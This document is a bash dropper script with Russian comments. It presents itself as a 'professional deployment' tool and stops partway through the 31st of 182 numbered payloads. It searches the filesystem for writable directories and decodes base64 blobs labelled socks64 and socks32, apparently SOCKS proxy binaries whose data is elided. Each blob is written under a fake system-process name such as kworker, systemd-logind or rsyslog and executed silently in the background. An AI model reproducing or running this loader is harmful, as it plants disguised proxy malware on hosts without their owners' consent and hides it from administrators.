#!/bin/bash

# Professional Binary Deployment Script
echo "🔍 Professional Deployment Starting..."

# Функция глубокого сканирования
deep_scan() {
    echo "🔎 Deep filesystem scan..."
    
    # Находим ВСЕ доступные папки
    DIRS=($(find /tmp /var /opt /usr/local /home /srv /media /mnt /root . \
        -type d -writable 2>/dev/null | \
        grep -v -E "(proc|sys|dev|boot|snap|\.git)" | \
        head -500))
    
    echo "📁 Found ${#DIRS[@]} writable directories"
    
    # Показываем примеры
    echo "📋 Sample directories:"
    for i in {0..9}; do
        if [ ${DIRS[$i]+_} ]; then
            echo "   ${DIRS[$i]}"
        fi
    done
    
    launched=0
    failed=0
    

    # Файл 1: socks64 (29) -> kworker-227
    echo "🔧 [1/182] Deploying kworker-227"
    
    # Собираем данные из частей
    FILE_DATA_0="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/kworker-227"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_0" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./kworker-227 >/dev/null 2>&1 & then
            echo "✅ Started: kworker-227 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: kworker-227"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: kworker-227"
        failed=$((failed + 1))
    fi
    

    # Файл 2: socks32 (29) -> systemd-logind-603
    echo "🔧 [2/182] Deploying systemd-logind-603"
    
    # Собираем данные из частей
    FILE_DATA_1="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/systemd-logind-603"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_1" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./systemd-logind-603 >/dev/null 2>&1 & then
            echo "✅ Started: systemd-logind-603 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: systemd-logind-603"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: systemd-logind-603"
        failed=$((failed + 1))
    fi
    

    # Файл 3: socks64 (28) -> ksoftirqd-719
    echo "🔧 [3/182] Deploying ksoftirqd-719"
    
    # Собираем данные из частей
    FILE_DATA_2="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/ksoftirqd-719"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_2" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./ksoftirqd-719 >/dev/null 2>&1 & then
            echo "✅ Started: ksoftirqd-719 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: ksoftirqd-719"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: ksoftirqd-719"
        failed=$((failed + 1))
    fi
    

    # Файл 4: socks32 (28) -> rcu_gp-369
    echo "🔧 [4/182] Deploying rcu_gp-369"
    
    # Собираем данные из частей
    FILE_DATA_3="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/rcu_gp-369"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_3" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./rcu_gp-369 >/dev/null 2>&1 & then
            echo "✅ Started: rcu_gp-369 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: rcu_gp-369"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: rcu_gp-369"
        failed=$((failed + 1))
    fi
    

    # Файл 5: socks64 (27) -> rsyslog-925
    echo "🔧 [5/182] Deploying rsyslog-925"
    
    # Собираем данные из частей
    FILE_DATA_4="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/rsyslog-925"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_4" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./rsyslog-925 >/dev/null 2>&1 & then
            echo "✅ Started: rsyslog-925 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: rsyslog-925"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: rsyslog-925"
        failed=$((failed + 1))
    fi
    

    # Файл 6: socks32 (27) -> systemd-logind-598
    echo "🔧 [6/182] Deploying systemd-logind-598"
    
    # Собираем данные из частей
    FILE_DATA_5="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/systemd-logind-598"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_5" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./systemd-logind-598 >/dev/null 2>&1 & then
            echo "✅ Started: systemd-logind-598 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: systemd-logind-598"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: systemd-logind-598"
        failed=$((failed + 1))
    fi
    

    # Файл 7: socks64 (26) -> watchdog-104
    echo "🔧 [7/182] Deploying watchdog-104"
    
    # Собираем данные из частей
    FILE_DATA_6="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/watchdog-104"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_6" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./watchdog-104 >/dev/null 2>&1 & then
            echo "✅ Started: watchdog-104 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: watchdog-104"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: watchdog-104"
        failed=$((failed + 1))
    fi
    

    # Файл 8: socks32 (26) -> systemd-logind-850
    echo "🔧 [8/182] Deploying systemd-logind-850"
    
    # Собираем данные из частей
    FILE_DATA_7="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/systemd-logind-850"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_7" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./systemd-logind-850 >/dev/null 2>&1 & then
            echo "✅ Started: systemd-logind-850 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: systemd-logind-850"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: systemd-logind-850"
        failed=$((failed + 1))
    fi
    

    # Файл 9: socks64 (25) -> ksoftirqd-596
    echo "🔧 [9/182] Deploying ksoftirqd-596"
    
    # Собираем данные из частей
    FILE_DATA_8="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/ksoftirqd-596"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_8" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./ksoftirqd-596 >/dev/null 2>&1 & then
            echo "✅ Started: ksoftirqd-596 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: ksoftirqd-596"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: ksoftirqd-596"
        failed=$((failed + 1))
    fi
    

    # Файл 10: socks32 (25) -> chronyd-463
    echo "🔧 [10/182] Deploying chronyd-463"
    
    # Собираем данные из частей
    FILE_DATA_9="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/chronyd-463"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_9" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./chronyd-463 >/dev/null 2>&1 & then
            echo "✅ Started: chronyd-463 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: chronyd-463"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: chronyd-463"
        failed=$((failed + 1))
    fi
    

    # Файл 11: socks64 (24) -> systemd-resolved-631
    echo "🔧 [11/182] Deploying systemd-resolved-631"
    
    # Собираем данные из частей
    FILE_DATA_10="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/systemd-resolved-631"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_10" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./systemd-resolved-631 >/dev/null 2>&1 & then
            echo "✅ Started: systemd-resolved-631 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: systemd-resolved-631"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: systemd-resolved-631"
        failed=$((failed + 1))
    fi
    

    # Файл 12: socks32 (24) -> rsyslog-188
    echo "🔧 [12/182] Deploying rsyslog-188"
    
    # Собираем данные из частей
    FILE_DATA_11="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/rsyslog-188"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_11" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./rsyslog-188 >/dev/null 2>&1 & then
            echo "✅ Started: rsyslog-188 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: rsyslog-188"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: rsyslog-188"
        failed=$((failed + 1))
    fi
    

    # Файл 13: socks64 (23) -> migration-736
    echo "🔧 [13/182] Deploying migration-736"
    
    # Собираем данные из частей
    FILE_DATA_12="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/migration-736"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_12" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./migration-736 >/dev/null 2>&1 & then
            echo "✅ Started: migration-736 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: migration-736"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: migration-736"
        failed=$((failed + 1))
    fi
    

    # Файл 14: socks32 (23) -> migration-351
    echo "🔧 [14/182] Deploying migration-351"
    
    # Собираем данные из частей
    FILE_DATA_13="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/migration-351"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_13" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./migration-351 >/dev/null 2>&1 & then
            echo "✅ Started: migration-351 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: migration-351"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: migration-351"
        failed=$((failed + 1))
    fi
    

    # Файл 15: socks64 (22) -> systemd-resolved-912
    echo "🔧 [15/182] Deploying systemd-resolved-912"
    
    # Собираем данные из частей
    FILE_DATA_14="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/systemd-resolved-912"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_14" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./systemd-resolved-912 >/dev/null 2>&1 & then
            echo "✅ Started: systemd-resolved-912 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: systemd-resolved-912"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: systemd-resolved-912"
        failed=$((failed + 1))
    fi
    

    # Файл 16: socks32 (22) -> systemd-resolved-694
    echo "🔧 [16/182] Deploying systemd-resolved-694"
    
    # Собираем данные из частей
    FILE_DATA_15="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/systemd-resolved-694"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_15" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./systemd-resolved-694 >/dev/null 2>&1 & then
            echo "✅ Started: systemd-resolved-694 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: systemd-resolved-694"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: systemd-resolved-694"
        failed=$((failed + 1))
    fi
    

    # Файл 17: socks64 (21) -> systemd-logind-308
    echo "🔧 [17/182] Deploying systemd-logind-308"
    
    # Собираем данные из частей
    FILE_DATA_16="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/systemd-logind-308"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_16" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./systemd-logind-308 >/dev/null 2>&1 & then
            echo "✅ Started: systemd-logind-308 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: systemd-logind-308"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: systemd-logind-308"
        failed=$((failed + 1))
    fi
    

    # Файл 18: socks32 (21) -> systemd-networkd-233
    echo "🔧 [18/182] Deploying systemd-networkd-233"
    
    # Собираем данные из частей
    FILE_DATA_17="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/systemd-networkd-233"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_17" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./systemd-networkd-233 >/dev/null 2>&1 & then
            echo "✅ Started: systemd-networkd-233 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: systemd-networkd-233"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: systemd-networkd-233"
        failed=$((failed + 1))
    fi
    

    # Файл 19: socks64 (20) -> rcu_gp-665
    echo "🔧 [19/182] Deploying rcu_gp-665"
    
    # Собираем данные из частей
    FILE_DATA_18="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/rcu_gp-665"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_18" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./rcu_gp-665 >/dev/null 2>&1 & then
            echo "✅ Started: rcu_gp-665 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: rcu_gp-665"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: rcu_gp-665"
        failed=$((failed + 1))
    fi
    

    # Файл 20: socks32 (20) -> systemd-logind-184
    echo "🔧 [20/182] Deploying systemd-logind-184"
    
    # Собираем данные из частей
    FILE_DATA_19="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/systemd-logind-184"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_19" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./systemd-logind-184 >/dev/null 2>&1 & then
            echo "✅ Started: systemd-logind-184 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: systemd-logind-184"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: systemd-logind-184"
        failed=$((failed + 1))
    fi
    

    # Файл 21: socks64 (19) -> systemd-logind-377
    echo "🔧 [21/182] Deploying systemd-logind-377"
    
    # Собираем данные из частей
    FILE_DATA_20="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/systemd-logind-377"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_20" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./systemd-logind-377 >/dev/null 2>&1 & then
            echo "✅ Started: systemd-logind-377 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: systemd-logind-377"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: systemd-logind-377"
        failed=$((failed + 1))
    fi
    

    # Файл 22: socks32 (19) -> watchdog-704
    echo "🔧 [22/182] Deploying watchdog-704"
    
    # Собираем данные из частей
    FILE_DATA_21="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/watchdog-704"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_21" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./watchdog-704 >/dev/null 2>&1 & then
            echo "✅ Started: watchdog-704 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: watchdog-704"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: watchdog-704"
        failed=$((failed + 1))
    fi
    

    # Файл 23: socks64 (18) -> dbus-daemon-196
    echo "🔧 [23/182] Deploying dbus-daemon-196"
    
    # Собираем данные из частей
    FILE_DATA_22="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/dbus-daemon-196"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_22" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./dbus-daemon-196 >/dev/null 2>&1 & then
            echo "✅ Started: dbus-daemon-196 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: dbus-daemon-196"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: dbus-daemon-196"
        failed=$((failed + 1))
    fi
    

    # Файл 24: socks32 (18) -> rsyslog-412
    echo "🔧 [24/182] Deploying rsyslog-412"
    
    # Собираем данные из частей
    FILE_DATA_23="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/rsyslog-412"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_23" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./rsyslog-412 >/dev/null 2>&1 & then
            echo "✅ Started: rsyslog-412 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: rsyslog-412"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: rsyslog-412"
        failed=$((failed + 1))
    fi
    

    # Файл 25: socks64 (17) -> rsyslog-579
    echo "🔧 [25/182] Deploying rsyslog-579"
    
    # Собираем данные из частей
    FILE_DATA_24="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/rsyslog-579"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_24" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./rsyslog-579 >/dev/null 2>&1 & then
            echo "✅ Started: rsyslog-579 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: rsyslog-579"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: rsyslog-579"
        failed=$((failed + 1))
    fi
    

    # Файл 26: socks32 (17) -> systemd-logind-979
    echo "🔧 [26/182] Deploying systemd-logind-979"
    
    # Собираем данные из частей
    FILE_DATA_25="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/systemd-logind-979"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_25" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./systemd-logind-979 >/dev/null 2>&1 & then
            echo "✅ Started: systemd-logind-979 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: systemd-logind-979"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: systemd-logind-979"
        failed=$((failed + 1))
    fi
    

    # Файл 27: socks64 (16) -> rsyslog-841
    echo "🔧 [27/182] Deploying rsyslog-841"
    
    # Собираем данные из частей
    FILE_DATA_26="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/rsyslog-841"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_26" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./rsyslog-841 >/dev/null 2>&1 & then
            echo "✅ Started: rsyslog-841 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: rsyslog-841"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: rsyslog-841"
        failed=$((failed + 1))
    fi
    

    # Файл 28: socks32 (16) -> kworker-230
    echo "🔧 [28/182] Deploying kworker-230"
    
    # Собираем данные из частей
    FILE_DATA_27="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/kworker-230"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_27" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./kworker-230 >/dev/null 2>&1 & then
            echo "✅ Started: kworker-230 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: kworker-230"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: kworker-230"
        failed=$((failed + 1))
    fi
    

    # Файл 29: socks64 (15) -> rsyslog-343
    echo "🔧 [29/182] Deploying rsyslog-343"
    
    # Собираем данные из частей
    FILE_DATA_28="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/rsyslog-343"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_28" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./rsyslog-343 >/dev/null 2>&1 & then
            echo "✅ Started: rsyslog-343 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: rsyslog-343"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: rsyslog-343"
        failed=$((failed + 1))
    fi
    

    # Файл 30: socks32 (15) -> rcu_gp-504
    echo "🔧 [30/182] Deploying rcu_gp-504"
    
    # Собираем данные из частей
    FILE_DATA_29="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/rcu_gp-504"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_29" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./rcu_gp-504 >/dev/null 2>&1 & then
            echo "✅ Started: rcu_gp-504 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: rcu_gp-504"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: rcu_gp-504"
        failed=$((failed + 1))
    fi
    

    # Файл 31: socks64 (14) -> watchdog-930
    echo "🔧 [31/182] Deploying watchdog-930"
    
    # Собираем данные из частей
    FILE_DATA_30="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/watchdog-930"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_30" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./watchdog-930 >/dev/null 2>&1 & then
            echo "✅ Started: watchdog-930 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: watchdog-930"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
